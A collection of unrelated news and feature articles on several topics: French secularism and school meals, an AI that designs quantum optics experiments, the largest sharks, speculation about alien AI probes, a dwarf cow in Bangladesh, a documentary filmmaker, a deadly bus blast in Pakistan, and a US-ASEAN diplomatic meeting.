In June, the Education Ministry announced plans to launch a new laicite training program for teachers over the next four years, after the ministry reported incidents of online classes during the countrys first Covid-19 lockdown being interrupted by religious chants and videos of beheadings.

The government of President Emmanuel Macron has also proposed a bill to Parliament that would make it a crime to pressure teachers or any other civil servants in the name of religion.

The republic will resist through its schools those who want to fight or divide it," Mr. Macron said in a speech last fall proposing the bill, which also reins in the independence of mosques and other religious organizations across France. The bill is currently before the Senate, which has sought to add provisions barring field-trip chaperones from wearing overt religious symbols.

Human-rights groups say schoolchildren and parents who refuse to abide by public-school rules represent a minority of Frances Muslim community. Some parents also say authorities are conflating the behavior of childrenwhether it is playground mishaps or teenage rebellionwith religious extremism.

In Nice, along the French Riviera, Hayat Achouri said she was recently summoned by the principal of her sons school, after staff overheard the boy telling his kindergarten schoolmates at the cafeteria that he was Islamic."

It was unclear why the principal objected to the use of the word. The school didnt respond to requests for comment. Ms. Achouri said the principal warned her to be more careful about which words she uses around her son. Ms. Achouri said she later found out that the children were talking about gifts they hoped to get for Christmas. Her son used the word Islamic, she said, while explaining to his friends that his family celebrated Christmas despite being Muslim.

Mom, did I say a bad word?" Ms. Achouri said her son asked her.

The fight over school food has been rife with misunderstanding and tension. In his fall speech, Mr. Macron criticized local officials who under pressure from groups or communities have considered imposing meals prepared according to religious guidelines at schools cafeterias."

Public schools in France dont serve meals under halal, kosher or any other religious dietary requirements. The only exception is in Alsace-Moselle, a borderland where Frances laws on laicite dont apply because the area was under Prussian rule when the laws were first adopted in 1905. Mr. Macrons office declined to identify the local officials he was referring to in his speech.

Waves of immigration from former French colonies in North Africa have changed the demographics of some towns in rural France as well as their norms. Many schools across the country, like Riyads in Beziers, began serving what are known as substitution meals whenever pork was on the menu. This provided options like beef or chicken to Muslim or Jewish children who didnt want to eat pork.

In recent years, some voters have responded to the immigration influx by electing conservative and far-right politicians to local office. These authorities then ordered local schools to stop serving substitution meals in the name of laicite.

Frances top administrative court ruled in December that the principle of laicite doesnt prohibit schools from serving meals without pork to accommodate personal religious beliefs, but that schools are under no obligation to do so. The ruling came in response to a complaint that a Muslim association filed against local authorities in Chalon-sur-Saone, a town in eastern France where schools stopped serving substitution meals in 2015.

The president of the Council of Jewish Institutions in France, Francis Kalifat, said eliminating substitution meals creates unnecessary problems.

Certain children are excluded from an important part of school life," Mr. Kalifat said, though he added that few Jewish students have to deal with the issue since most children from practicing Jewish families go to private religious schools, which like all private schools in France are exempt from laicite rules.

The Catholic Church hasnt weighed in on the debate over substitution meals. It supports the principle of laicite in public schools and has worked with the government to defend French Republican values. Most private Catholic schools ask parents to sign a republican charter.

Beziers Mayor Robert Menard, who was elected in 2014 with the support of far-right leader Marine Le Pen, eliminated substitution meals this year. Under the new system, students can pick between weekly menus that include pork or eating exclusively vegetarian meals.

These people are not allergic to pork for medical reasons," said Mr. Menard in an interview, referring to Muslim students. They dont want to eat pork? Eat vegetarian food."

Some Muslim families welcomed the change. Samira Akabli, like most of the mothers standing outside the schools iron gates on a recent afternoon, wears a Muslim head scarf. Her children are only allowed to eat halal meat, meaning she used to regularly remind them not to eat any of the meat served at the cafeteria. After the mayor changed the menu, she signed up her children for the vegetarian menu.

This way, its easier," Ms. Akabli said.

Riyad, the 10-year-old boy, said that he and many of his classmatesmost of whom are also Muslimhave simply stopped going to the school cafeteria. I liked going to the cafeteria to be with my friends, but now Id rather eat at my grandmas," he said.

This story has been published from a wire agency feed without modifications to the text

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Quantum physicist Mario Krenn remembers sitting in a cafe in Vienna in early 2016, poring over computer printouts, trying to make sense of what MELVIN had found. MELVIN was a machine-learning algorithm Krenn had built, a kind of artificial intelligence. Its job was to mix and match the building blocks of standard quantum experiments and find solutions to new problems. And it did find many interesting ones. But there was one that made no sense.

"The first thing I thought was, 'My program has a bug, because the solution cannot exist,'" Krenn says. MELVIN had seemingly solved the problem of creating highly complex entangled states involving multiple photons (entangled states being those that once made Albert Einstein invoke the specter of " spooky action at a distance "). Krenn, Anton Zeilinger of the University of Vienna and their colleagues had not explicitly provided MELVIN the rules needed to generate such complex states, yet it had found a way. Eventually, he realized that the algorithm had rediscovered a type of experimental arrangement that had been devised in the early 1990s. But those experiments had been much simpler. MELVIN had cracked a far more complex puzzle.

"When we understood what was going on, we were immediately able to generalize [the solution]," says Krenn, who is now at the University of Toronto. Since then, other teams have started performing the experiments identified by MELVIN, allowing them to test the conceptual underpinnings of quantum mechanics in new ways. Meanwhile Krenn, working with colleagues in Toronto, has refined their machine-learning algorithms. Their latest effort, an AI called THESEUS, has upped the ante: it is orders of magnitude faster than MELVIN, and humans can readily parse its output. While it would take Krenn and his colleagues days or even weeks to understand MELVIN's meanderings, they can almost immediately figure out what THESEUS is saying.

"It is amazing work," says theoretical quantum physicist Renato Renner of the Institute for Theoretical Physics at the Swiss Federal Institute of Technology Zurich, who reviewed a 2020 study about THESEUS but was not directly involved in these efforts.

Krenn stumbled on this entire research program somewhat by accident when he and his colleagues were trying to figure out how to experimentally create quantum states of photons entangled in a very particular manner: When two photons interact, they become entangled, and both can only be mathematically described using a single shared quantum state. If you measure the state of one photon, the measurement instantly fixes the state of the other even if the two are kilometers apart (hence Einstein's derisive comments on entanglement being "spooky").

In 1989 three physicistsDaniel Greenberger, the late Michael Horne and Zeilinger described an entangled state that came to be known as "GHZ" (after their initials). It involved four photons, each of which could be in a quantum superposition of, say, two states, 0 and 1 (a quantum state called a qubit) . In their paper, the GHZ state involved entangling four qubits such that the entire system was in a two-dimensional quantum superposition of states 0000 and 1111. If you measured one of the photons and found it in state 0, the superposition would collapse, and the other photons would also be in state 0. The same went for state 1. In the late 1990s Zeilinger and his colleagues experimentally observed GHZ states using three qubits for the first time .

Krenn and his colleagues were aiming for GHZ states of higher dimensions. They wanted to work with three photons, where each photon had a dimensionality of three, meaning it could be in a superposition of three states: 0, 1 and 2. This quantum state is called a qutrit . The entanglement the team was after was a three-dimensional GHZ state that was a superposition of states 000, 111 and 222. Such states are important ingredients for secure quantum communications and faster quantum computing. In late 2013 the researchers spent weeks designing experiments on blackboards and doing the calculations to see if their setups could generate the required quantum states. But each time they failed. "I thought, 'This is absolutely insane. Why can't we come up with a setup?'" says Krenn says.

To speed up the process, Krenn first wrote a computer program that took an experimental setup and calculated the output. Then he upgraded the program to allow it to incorporate in its calculations the same building blocks that experimenters use to create and manipulate photons on an optical bench: lasers, nonlinear crystals, beam splitters, phase shifters, holograms, and the like. The program searched through a large space of configurations by randomly mixing and matching the building blocks, performed the calculations and spat out the result. MELVIN was born. "Within a few hours, the program found a solution that we scientiststhree experimentalists and one theoristcould not come up with for months," Krenn says. "That was a crazy day. I could not believe that it happened."

Then he gave MELVIN more smarts. Anytime it found a setup that did something useful, MELVIN added that setup to its toolbox . "The algorithm remembers that and tries to reuse it for more complex solutions," Krenn says.

It was this more evolved MELVIN that left Krenn scratching his head in a Viennese cafe. He had set it running with an experimental toolbox that contained two crystals, each capable of generating a pair of photons entangled in three dimensions. Krenn's naive expectation was that MELVIN would find configurations that combined these pairs of photons to create entangled states of at most nine dimensions. But "it actually found one solution, an extremely rare case, that has much higher entanglement than the rest of the states," Krenn says.

Eventually, he figured out that MELVIN had used a technique that multiple teams had developed nearly three decades ago. In 1991 one method was designed by Xin Yu Zou, Li Jun Wang and Leonard Mandel, all then at the University of Rochester. And in 1994 Zeilinger, then at the University of Innsbruck in Austria, and his colleagues came up with another . Conceptually, these experiments attempted something similar, but the configuration that Zeilinger and his colleagues devised is simpler to understand. It starts with one crystal that generates a pair of photons (A and B). The paths of these photons go right through another crystal, which can also generate two photons (C and D). The paths of photon A from the first crystal and of photon C from the second overlap exactly and lead to the same detector. If that detector clicks, it is impossible to tell whether the photon originated from the first or the second crystal. The same goes for photons B and D.

A phase shifter is a device that effectively increases the path a photon travels as some fraction of its wavelength. If you were to introduce a phase shifter in one of the paths between the crystals and kept changing the amount of phase shift, you could cause constructive and destructive interference at the detectors. For example, each of the crystals could be generating, say, 1,000 pairs of photons per second. With constructive interference, the detectors would register 4,000 pairs of photons per second. And with destructive interference, they would detect none: the system as a whole would not create any photons even though individual crystals would be generating 1,000 pairs a second. "That is actually quite crazy, when you think about it," Krenn says.

MELVIN's funky solution involved such overlapping paths. What had flummoxed Krenn was that the algorithm had only two crystals in its toolbox. And instead of using those crystals at the beginning of the experimental setup, it had wedged them inside an interferometer (a device that splits the path of, say, a photon into two and then recombines them). After much effort, he realized that the setup MELVIN had found was equivalent to one involving more than two crystals, each generating pairs of photons, such that their paths to the detectors overlapped. The configuration could be used to generate high-dimensional entangled states.

Quantum physicist Nora Tischler, who was a Ph.D. student working with Zeilinger on an unrelated topic when MELVIN was being put through its paces, was paying attention to these developments. "It was kind of clear from the beginning [that such an] experiment wouldn't exist if it hadn't been discovered by an algorithm," she says.

Besides generating complex entangled states, the setup using more than two crystals with overlapping paths can be employed to perform a generalized form of Zeilinger's 1994 quantum interference experiments with two crystals. Aephraim Steinberg, an experimentalist at the University of Toronto, who is a colleague of Krenn's but has not worked on these projects, is impressed by what the AI found. "This is a generalization that (to my knowledge) no human dreamed up in the intervening decades and might never have done," he says. "It's a gorgeous first example of the kind of new explorations these thinking machines can take us on."

In one such generalized configuration with four crystals, each generating a pair of photons, and overlapping paths leading to four detectors, quantum interference can create situations where either all four detectors click (constructive interference) or none of them do so (destructive interference).

But until recently, carrying out such an experiment remained a distant dream. Then, in a March preprint paper, a team led by Lan-Tian Feng of the University of Science and Technology of China , in collaboration with Krenn, reported that they had fabricated the entire setup on a single photonic chip and performed the experiment. The researchers collected data for more than 16 hours: a feat made possible because of the photonic chip's incredible optical stability, something that would have been impossible to achieve in a larger-scale tabletop experiment. For starters, the setup would require a square meter's worth of optical elements precisely aligned on an optical bench, Steinberg says. Besides, "a single optical element jittering or drifting by a thousandth of the diameter of a human hair during those 16 hours could be enough to wash out the effect," he says.

During their early attempts to simplify and generalize what MELVIN had found, Krenn and his colleagues realized that the solution resembled abstract mathematical forms called graphs, which contain vertices and edges and are used to depict pairwise relations between objects. For these quantum experiments, every path a photon takes is represented by a vertex. And a crystal, for example, is represented by an edge connecting two vertices. MELVIN first produced such a graph and then performed a mathematical operation on it. The operation, called "perfect matching," involves generating an equivalent graph in which each vertex is connected to only one edge. This process makes calculating the final quantum state much easier, although it is still hard for humans to understand.

That changed with MELVIN's successor THESEUS, which generates much simpler graphs by winnowing the first complex graph representing a solution that it finds down to the bare minimum number of edges and vertices (such that any further deletion destroys the setup's ability to generate the desired quantum states). Such graphs are simpler than MELVIN's perfect matching graphs, so it is even easier to make sense of any AI-generated solution.

Renner is particularly impressed by THESEUS's human-interpretable outputs. "The solution is designed in such a way that the number of connections in the graph is minimized," he says. "And that's naturally a solution we can better understand than if you had a very complex graph."

Eric Cavalcanti of Griffith University in Australia is both impressed by the work and circumspect about it. "These machine-learning techniques represent an interesting development. For a human scientist looking at the data and interpreting it, some of the solutions may look like 'creative' new solutions. But at this stage, these algorithms are still far from a level where it could be said that they are having truly new ideas or coming up with new concepts," he says. "On the other hand, I do think that one day they will get there. So these are baby stepsbut we have to start somewhere."

Steinberg agrees. "For now, they are just amazing tools," he says. "And like all the best tools, they're already enabling us to do some things we probably wouldn't have done without them."

This article was first published at ScientificAmerican.com.  ScientificAmerican.com. All rights reserved. Follow Scientific American on Twitter @SciAm and @SciamBlogs. Visit ScientificAmerican.com for the latest in science, health and technology news.
Sharks are a diverse group of fish that have been prowling our oceans for hundreds of millions of years. The group includes several large, food chain-topping predators from the extinct Helicoprion, which had a jaw like a circular saw, to modern-day great white sharks that accelerate through water like a bullet as they hunt down their prey.

Giant sharks have evolved and gone extinct throughout Earth's history and plenty of behemoths still lurk in the ocean today  though not all are ferocious predators. Here are eight of the biggest sharks from past and present.

1. Megamouth shark

Megamouth sharks are rare and live in deepwater. (Image credit: NOAA)

Megamouth sharks (Megachasma pelagios) are filter feeders and eat vast quantities of tiny shrimplike crustaceans and plankton, rather than hunting larger prey. The sharks feed by taking big gulps of seawater and then pushing the water out through their gills, leaving their mouth full of tasty little critters. Megamouth sharks can grow to about 16 feet (5 meters) long and weigh 1,650 pounds (750 kilograms), according to the University of Michigan's Animal Diversity Web (ADW).

The species was first discovered off the coast of Hawaii in 1976 when a megamouth shark was struck and became entangled in the anchor of a Navy ship, Live Science previously reported. Megamouth sharks spend their days deep in the ocean but ascend to surface waters at night as they follow their food source. They live in all major oceans around the world but their exact distribution remains poorly understood by scientists, according to the International Union for Conservation of Nature (IUCN).

2. Thresher shark

One look at a common thresher shark (Alopias vulpinus) and it's easy to see where the bulk of its size comes from  their long, sickle-shaped tails make up half their total body length, according to the National Oceanic and Atmospheric Administration (NOAA). Thresher sharks swipe their enormous tails like a whip to stun fish, smacking them directly and with the powerful waves generated by the swipes, making their prey easier to catch, Live Science previously reported.

The sharks often grow to 20 feet (6.1 m) long. The largest thresher shark ever recorded was 24.9 feet (7.6 m) long, and the heaviest weighed more than 750 pounds (340 kg), according to the Florida Museum of Natural History. Thresher sharks live in tropical and cold sea waters worldwide and mostly eat small, schooling fish such as herring.

Related: Whodunit solved when 'sword' is found embedded in thresher shark

3. Greenland shark

Greenland shark swimming with an isolated on black background. (Image credit: dotted zebra / Alamy Stock Photo)

Greenland sharks (Somniosus microcephalus) are peculiar animals that inhabit deep, cold waters in the Arctic and North Atlantic oceans. Ocean parasites often attach themselves to the eyes of Greenland sharks, which can render them partially blind. But that doesn't seem to bother these sharks much, as they use their other senses to catch prey, according to ADW. Greenland sharks eat fish and marine mammals such as seals. They grow slowly but can reach lengths of 24 feet (7.3 m) and weigh up to 2,645 pounds (1,200 kg), according to the St. Lawrence Shark Observatory in Canada.

Related: No, scientists haven't found a 512-year-old Greenland shark

A 2016 study of Greenland shark eye tissue published in the journal Science estimated that these sharks don't even reach sexual maturity until they are about 156 years old, Live Science previously reported. The study also suggested that the maximum lifespan of a Greenland shark is at least 272 years, with the oldest shark in the study estimated to have been about 392 years old.

"It's important to keep in mind there's some uncertainty with this estimate," Julius Nielsen, co-author of the 2016 paper previously told Live Science. "But even the lowest part of the age range  at least 272 years  still makes Greenland sharks the longest-living vertebrate known to science."

4. Great white shark

Great white shark at the surface with its mouth open wide. (Image credit: Stephen Frink via Getty Images)

Great white sharks (Carcharodon carcharias) are perhaps the best-known predators in the ocean and the largest living sharks that don't filter feed. The biggest great white sharks are estimated to grow to 20 feet (6 m) long but there are unconfirmed reports of these sharks reaching lengths of 23 feet (7 m), according to the Florida Museum of Natural History. They can also weigh up to 7,000 pounds (more than 3,000 kg), according to the World Wildlife Fund (WWF).

As juveniles, great white sharks spend most of their time hunting fish and other small prey on and near the seafloor, Live Science previously reported. When they grow up, the sharks hunt down marine mammals such as sea lions and dolphins. Great white sharks have a wide geographic range but are most common in temperate waters, such as off the west coast of the U.S. in the Pacific Ocean, according to the IUCN.

5. Helicoprion

An illustration of two Helicoprions (Image credit: HYPERSPHERE/SCIENCE PHOTO LIBRARY via Getty Images)

There are a handful of extinct sharks that would comfortably meet and surpass the size of modern great white sharks and Greenland sharks, but the Helicoprion is perhaps the most bizarre example. This ancient ratfish relative is nicknamed the "buzz saw shark" as it had a whorl jaw with a spiral set of teeth. Fossilized Helicoprion jaws, which resemble spiky ammonites, indicate these sharks may have grown up to 25 feet (7.7 m) long, making them the largest predator on Earth when they lived nearly 270 million years ago, Live Science previously reported.

Related: Toothy spiral jaw gave ancient sea predator an edge

6. Basking shark

A basking shark swimming underwater. (Image credit: George Karbus Photography via Getty Images)

Great white sharks may be the largest predatory shark alive today but they seem almost quaint next to the biggest filter-feeding sharks. Although basking sharks (Cetorhinus maximus) only eat plankton, they can reach up to 40 feet (12.2 m) in length and weigh more than 5 tons (4.5 metric tons), according to the Florida Museum of Natural History. These behemoths are most commonly found in the Atlantic and Pacific Oceans, according to the IUCN.

Basking sharks are often regarded as slow, gentle giants but they are capable of rocketing out of the water at speeds of 11 mph (18 km/h) and jumping 4 feet (1.2 m) in the air to breach, Live Science previously reported. This breaching behavior may be used to communicate with other basking sharks or to rid themselves of parasites.

7. Whale shark

A whale shark swims next to a person in Isla Mujeres, Mexico (Image credit: Colors and shapes of underwater world via Getty Images)

Whale sharks (Rhincodon typus) are the biggest filter-feeding sharks and the biggest fish in the world. They usually grow to between 18 and 33 feet (5 to 10 m) long and weigh around 21 tons (19 metric tons). However, the largest whale shark ever recorded was a whopping 66 feet (20 m) long and weighed 46 tons (42 metric tons), according to the Zoological Society of London. Whale sharks live in tropical and warm temperate oceans around the world, except for the Mediterranean Sea.

Whale sharks are categorized as an endangered species by the IUCN and are threatened with extinction due to fishing, boat strikes and other human activity.

8. Megalodon

Two megalodon sharks on the prowl. (Image credit: Herschel Hoffmeyer/Shutterstock)

The undisputed king of predatory sharks is the megalodon (Carcharocles megalodon). Members of this extinct species are the largest sharks to have ever lived and the biggest fish known to science. The exact size of megalodon is debated within the scientific community but they may have been up to about 60 feet (18 m) long based on teeth fossils, and perhaps even 80 feet (24 m) long. That's three to four times the length of the biggest great white sharks. They may also have weighed up to 50 tons (45.4 metric tons), according to the Smithsonian National Museum of Natural History.

Related: Megalodon shark mamas had human-size cannibal babies

Most megalodon fossils are dated to between the middle Miocene epoch and the Pliocene epoch (15.9 million to 2.6 million years ago) and there is no record of them existing after this period. Megalodon have been resurrected on the big screen, such as in the 2018 science fiction thriller "The Meg," but the real megalodons are long gone.
Despite the naive storylines about interstellar travel in science fiction, biological creatures were not selected by Darwinian evolution to survive travel between stars. Such a trip would necessarily span many generations, since even at the speed of light, it would take tens of thousands of years to travel between stars in our galaxys disk and 10 times longer across its halo. If we ever encounter traces of aliens, therefore, it will likely be in the form of technology, not biology. Technological debris could have accumulated in interstellar space over the past billions of years, just as plastic bottles have accumulated on the surface of the ocean. The chance of detecting alien technological relics can be simply calculated from their number per unit volume near us rather than from the Drake equation, which applies strictly to communication signals from living civilizations.

On a recent podcast about my book Extraterrestrial, I was asked whether extraterrestrial intelligence should be expected to follow the rational underpinning of morality, as neatly formulated by the German philosopher Immanuel Kant. This would be of concern to us during an encounter. Based on human history, I expressed doubt that morality would garner a global commitment from all intelligent beings in the Milky Way.

Instead, a code of conduct that allows systems of alien technology to dominate the galaxy would also make them more likely to be the way we would first encounter extraterrestrials. Practically, this rule will act as a sort of Darwinian evolution by natural selection, favoring systems that can persevere over long times and distances; and multiply quickly and spread at the highest speed with self-repair mechanisms that mitigate damage along their journey. Such systems could have reached the habitable zones around all stars within the Milky Way, including our sun, by now. Most stars formed billions of years before ours did, and technological equipment sent from habitable planets near them could have predated us by enough time to dominate the galaxy before we came to exist as a technological species.

Our own artificial intelligence systems are likely to supersede many features of human intelligence within the coming decade. It is therefore reasonable to imagine AI systems connected to 3-D printers that would replicate themselves on planet surfaces and adapt to changing circumstances along their journey between planets through machine learning. They could hibernate during long journeys and turn on close to stars, using starlight to recharge their energy supply. With this in mind, it is conceivable that the flat thin structure that might have characterized the interstellar object Oumuamua was meant to collect sunlight and recharge its batteries. The same dish could have also served as a receiver for communication signals from probes that were already deposited on habitable planets, like Earth or Mars.

And speaking about such probesif one or more of the unidentified aerial phenomena (UAP) discussed in the Pentagon report to Congress is potentially extraterrestrial in origin, then scientists have an obligation to decipher their purpose by collecting more data on their behavior. Owing to the long time-delay of any signals from their point of origin, these objects are likely to act autonomously. How could we tell whether an autonomous extraterrestrial AI system is a friend or a foe?

Initial impressions can be misleading, as in the story of the Trojan Horse used by the Greeks to enter the city of Troy and win the Trojan War. Therefore, we should first study the behavior of alien probes to figure out what type of data they are seeking. Second, we should examine how they respond to our actions. And with no choice left, we should engage their attention in a way that would promote our interests.

But most importantly, humanity should avoid sending mixed messages to these probes, because that would confuse our interpretation of their response. Any decision on how to act must be coordinated by an international organization such as the United Nations and policed consistently by all governments on Earth. In particular, it would be prudent to appoint a forum composed of our most accomplished experts in the areas of computing (to interpret the meaning of any signal we intercept), physics (to understand the physical characteristics of the systems with which we interact) and strategy (to coordinate the best policy for accomplishing our goals).

Ultimately, we might need to employ our own AI in order to properly interpret the alien AI. The experience will be as humbling as relying on our kids to make sense of new content on the internet by admitting that their computer skills exceed ours. The quality of expertise and AI might be more important than physical strength or natural intelligence in determining the outcome of a technological battlefield.

Being the smartest species on Earth, our fate has been under our control so far. This may not hold true after our encounter with extraterrestrial AI systems. Hence, technological maturity obtains a sense of urgency for Darwinian survival in the global competition of Milky Way civilizations. Only by becoming sufficiently advanced can we overcome threats from alien technological equipment. Heres hoping that in the galactic race, our AI systems will outsmart the aliens. Just as in the gunfights of the Wild West, the survivor might be the one who is first to draw a weapon without hesitation.

This is an opinion and analysis article; the views expressed by the author or authors are not necessarily those of Scientific American.

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A dwarf cow named Rani, whose owners applied to the Guinness Book of Records claiming it to be the smallest cow in the world, at a cattle farm in Charigram in Bangladesh.

Thousands of visitors are herding themselves to a small farm in Bangladesh to see what may be the world's shortest cow, according to news reports.

Rani, a fully grown 23-month-old Bhutanese cow, has been drawing crowds lately despite local COVID-19 restrictions. "I have never seen anything like this in my life," visitor Rina Begum told BBC News .

The half-size heifer, which has recently become a social media sensation, is in the process of being verified by Guinness World Records as the world's shortest cow, according to BBC News.

Rani stands a mere 20 inches (51 centimeters) tall, meaning that, once her measurements are verified, she will easily break the record set by Manikyam, a 24-inch-tall (61 cm) Vechur cow in India who is the current Guinness World Record holder . She's also quite the lightweight, at just 57 pounds (26 kilograms).

Related: 10 weirdest medical cases in the animal kingdom

So why is Rani so small?

One factor in Rani's stature is her breed. Bhutanese cows, like Vechur cows, are typically referred to as dwarf cows, as individuals of these breeds are bred to be small. Dwarf cow breeds are often produced for their ability to produce large amounts of milk without requiring much food. For dwarf cow breeds, climate can play a role in the animals' development. According to research conducted by Kerala Veterinary and Animal Sciences University and presented at the Steps to Sustainable Livestock International Conference in 2016, Vechur cows possess so-called thermometer genes that seem to stunt their growth in hot climates. These genes are favorable among breeds living in tropical climates, as smaller size likely helps the cows withstand extreme heat.

But Rani is special for being a particularly tiny example of an especially diminutive breed, suggesting that more than her breed is at play.

Sajedul Islam, the Bangladeshi government's chief veterinarian for the region including Charigram, the town where Rani lives, told AFP as reported by France24 that Rani is a product of "genetic inbreeding" and was unlikely to become any bigger. According to Cobie Rutherford, a beef cattle associate with Mississippi State University writing in the 2015 issue of Cattle Business in Mississippi , cows are typically bred on farms through the use of a technique called line breeding, wherein one bull sires many generations of cows. While this form of inbreeding tends to preserve and accentuate desirable traits, it can also reveal some undesirable traits, such as dwarfism.

According to a 1969 study published in the New Zealand Journal of Veterinary Medicine , dwarfism is well-documented in cows and depending on the breed, dwarfism can lead toy either a shortening or elongation of the face as well as reduced life expectancy in affected animals. In the 1940s and 1950s, a form of dwarfism called snorter dwarfism became common among Hereford cows in the U.S. It turned out to be an autosomal recessive trait  that is, a gene that needs to be passed on from both parents in order to be expressed in offspring  that, if carried by the breeding bull, could be silently transmitted to his calves, according to a paper published in 1950 in the Journal of Heredity . This silent transmission becomes a problem when that same bull is bred with his own daughters, as is often the practice with line breeding, according to a factsheet on cattle inbreeding for Oklahoma State University.

There's no way to know for sure whether inbreeding wholly explains Rani's size. Ultimately, Rani's potentially record-setting size might very well be a result of both inbreeding and the genetics of her particular breed.

Rani's owner, Kazi Mohammad Abu Sufian, told the Washington Post that Rani is as timid as she is adorable. When not posing for pictures with her newfound fans, she prefers to spend much of her time alone, grazing away from other cows on the farm. Otherwise, Abu Sufian reports, Rani is a perfectly happy dwarf cow that likes to run "as fast as the rabbits we have on the farm."

Originally published on Live Science.
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French director Flore Vasseur has opened up about her journey from high-flying entrepreneur in New York City to filmmaker whose feature debut Bigger Than Us, co-produced with Marion Cotillard, premiered at Cannes new sidebar dedicated to climate change.

It all started when the then 24-year old Vasseur witnessed the 9/11 attacks from her office in NYC.

It was one of those life-changing moments, it tears away everything you believe, everything that you are. I had this intuition that there was a tangible reason why we were receiving these bombs and that I was contributing to this with my lifestyle, my ideas, my values. What I felt was not fear, but shame.

Her quest to find answers took her to Afghanistan on a contract with the World Bank. I was super happy, I thought I was going to make a change, but when I got there I realized that all the money sent to Afghanistan to help rebuild the country was going straight back into the pockets of people like me.

Speaking with disconcerting humility and sincerity at Cannes Doc Day, Vasseur explains that her feeling of shame was compounded by this experience which confirmed her desire to turn to journalism.

She wrote four books, including award-winning investigative journalism best-sellers on trading, finance, corruption and social justice. Her work took her to Edward Snowden, whom she calls the most important of all whistle-blowers, and with whom she made a documentary. But, still, she felt her work didnt have a true impact. Her calls to action were falling on deaf ears. Until she met young environmental activists Isabel and Melati Wijsen.

These girls were mesmerizing, awesome, they had this ingenuity, this passion, this drive, when I met them I realized there is something in kids that instills change. It was in 2016, before the Greta phenomenon. The protagonists you see in my doc are veterans of their own art, they started at the age of 12.

Melati Wijsen became the films ambassador, traveling the world to record the stories of young activists.

I just want kids to have new role models, says Vasseur. To be able to connect to stories where they feel this is for them, not adults preaching, but real concrete examples of people like them doing big or small things, and changing lives, wherever they are. This trend of young people taking action, and not asking for the permission, is everywhere.

A chance meeting with Marion Cotillard at a social activism event brought Vasseur the backing she needed to make the film come to life.

Marion saved my life. I was pushing this film so hard, I almost went bankrupt. It took me a while, but the person who believed I could do this was Marion. We immediately connected. I elevator pitched her and it worked, she says with a smile. She opened all the doors, the film would never have been the same without her, says Vasseur.

Co-produced with Cotillard and Denis Carot (Home, Douce France), Bigger Than Us is set to open in French theaters on Sept. 22.

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MANSEHRA, Pakistan (AP)  A bus carrying dozens of construction workers fell into a ravine Wednesday in northwest Pakistan after a gas leak in the vehicle caused an explosion, killing at least 13 people including nine Chinese, Pakistani officials said.

Pakistan's Foreign Ministry said in a statement that the Chinese workers and accompanying Pakistani staff were proceeding to their workplace when the explosion happened and the vehicle careened off the road.

The bus plunged into a ravine after a mechanical failure resulting in leakage of gas that caused a blast. ... Further investigations are underway," the statement said.

Pakistani officials were still investigating but the Chinese Embassy in Islamabad said in a statement the bus was attacked.

Pakistan's Foreign Ministry said in its statement that nine Chinese and three Pakistanis died in the apparent accident. However, local authorities said the death toll rose to 13 after a critically injured Chinese worker died of his injuries at a hospital.

The Government and people of Pakistan extend sincere condolences to the families of Chinese and Pakistani workers who lost their lives in the incident, the statement said. We also pray for quick recovery of the injured.

At least 36 people were also injured in the incident in the Kohistan district of Khyber Pakhtunkhwa province, said Arif Javed, a deputy district commissioner.

Chinese engineers and construction workers are helping Pakistan build a dam in Kohistan. Javed said the Pakistani and Chinese construction workers were on their way to the project site when the accident happened.

The Chinese Embassy in a statement called the incident an attack.

Recently, our workers at a business on a certain project in Pakistan were attacked and have suffered deaths and injuries, the statement said. We have notified Chinese citizens in Pakistan to avoid venturing outside unless required by work or business and pay especial care to their safety.

In Beijing, Foreign Ministry spokesperson Zhao Lijian said China was shocked by and condemns the bomb attack in Pakistans Khyber Pakhtunkhwa province.

We mourn over the Chinese and Pakistani personnel killed in the attack and express sympathies to bereaved families and the wounded, Zhao said at a daily news briefing.

We have demanded the Pakistani side get to the bottom of the incident, arrest and strictly punish the assailants as soon as possible, and earnestly protect the safety of Chinese personnel, institutions and projects in Pakistan, Zhao said.

Road accidents are common in Pakistan, where motorists largely disregard traffic rules and safety standards and drive on damaged roads, particularly in the mountainous terrain in the north.

___

Munir Ahmed reported from Islamabad
MANILA, Philippines (AP)  U.S. Secretary of State Antony Blinken asked his Southeast Asian counterparts Wednesday to press for an end to violence in Myanmar, its return to democracy and the release of all political prisoners in a video conference attended by the military-led nations top diplomat.

In the meeting with foreign ministers from the Association of Southeast Asian Nations, Blinken also underscored the U.S. rejection of Chinas unlawful territorial claims in the South China Sea and stressed that Washington stands with nations at odds with Beijing in the sea disputes.

Blinkens meeting with the 10-nation bloc also addressed the coronavirus pandemic, State Department spokesman Ned Price said, as surging infections fill hospitals and morgues and further devastate Southeast Asian states once-bustling economies.

Blinken called on ASEAN to take joint action to urge the end of violence, the restoration of Burmas democratic transition and the release of all those unjustly detained, Price said in a statement, using the former name for Myanmar.

The U.S. and European nations have been the most vocal opponents of the military takeover that ousted Aung San Suu Kyis elected government in February. Suu Kyi was arrested and detained with top members of her National League for Democracy party, including President Win Myint.

Last week, U.N. human rights chief Michelle Bachelet said the rights situation in Myanmar has changed from a political crisis to a multi-dimensional human rights catastrophe, adding that nearly 900 people have been killed and 200,000 forced to flee their homes because of military raids. The World Food Program has estimated that more than 6 million people are in severe need of food aid, she said.

Blinken urged ASEAN to take immediate action to hold the Burmese regime accountable to a consensus forged in April by the blocs heads of state with Myanmars military leader. The five-point document called for an immediate end to violence and the start of a dialogue among contending parties with a special ASEAN envoy mediating in the talks.

Philippine Foreign Secretary Teodoro Locsin Jr. pressed for the restoration of the political conditions before the Feb. 1 military takeover, but lamented that So far, nothings happened.

Although highly contentious issues were raised, the two-hour meeting was very civil, a Southeast Asian diplomat told The Associated Press. The diplomat was involved in the meeting but spoke on condition of anonymity for lack of authority to publicly discuss what went on.

It was not immediately clear if Myanmars military-appointed foreign minister responded to Blinkens concerns or to the previous ASEAN demands.

ASEAN member states have recommended to Myanmar officials the names of possible ASEAN envoys from Thailand and Indonesia but there has been no response. Two ASEAN representatives who traveled to Myanmar last month asked to meet Suu Kyi and other detainees but were rebuffed, the Southeast Asian diplomat said.

The South China Sea territorial disputes involve four ASEAN states. Ahead of his meeting with ASEAN on Wednesday, Blinken accused China of continuing to coerce and intimidate Southeast Asian coastal states, threatening freedom of navigation in this critical global throughway, and upheld a Trump-era rejection of nearly all of Chinas maritime claims in the region.

China deplored Blinken's remarks, saying he was sowing discord among Asian countries and stoking disputes.

The U.S. always poses as a defender of international law and keeps making an issue of the South China Sea, but it has not joined the UNCLOS, Chinese Foreign Ministry spokesman Zhao Lijian said at a daily briefing, referring to the 1982 U.N. treaty that governs the use of the worlds seas and oceans.

